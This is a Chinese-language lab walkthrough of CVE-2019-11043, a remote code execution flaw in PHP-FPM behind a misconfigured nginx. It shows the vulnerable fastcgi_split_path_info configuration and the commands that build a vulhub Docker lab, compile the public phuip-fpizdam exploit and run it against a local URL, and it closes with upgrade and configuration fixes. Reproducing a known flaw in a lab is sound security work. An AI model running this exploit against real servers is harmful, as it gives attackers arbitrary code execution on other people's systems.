PHP-FPM 远程代码执行漏洞

漏洞简介

国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现, 向目标服务器 URL 发送 %0a 符号时, 服务返回异常, 疑似存在漏洞

2019年10月23日, github公开漏洞相关的详情以及exp.当nginx配置不当时, 会导致php-fpm远程任意代码执行

影响组件

Nginx + FPM + PHP7

漏洞指纹

Nginx

PHP

Nextcloud

漏洞分析

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...}

 

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞

安装 golang 环境

apt install golang

PHP-FPM 远程代码执行漏洞_第1张图片

用docker-compose快速搭建漏洞环境

git clone https://github.com/vulhub/vulhub.git

cd vulhub/php/CVE-2019-11043

docker-compose up -d

 

PHP-FPM 远程代码执行漏洞_第2张图片

安装成功之后就可以在浏览器看到helloworld页面了

PHP-FPM 远程代码执行漏洞_第3张图片

安装漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

PHP-FPM 远程代码执行漏洞_第4张图片

构造成功后会多一个phuip-fpizdam文件

漏洞利用

go run . "http://127.0.0.1:8080/index.php"

PHP-FPM 远程代码执行漏洞_第5张图片

在浏览器中加上a参数值位想执行的代码即可

多执行几次即可

PHP-FPM 远程代码执行漏洞_第6张图片

防护方法

升级到最新版php

修改nginx配置

你可能感兴趣的:(PHP-FPM 远程代码执行漏洞)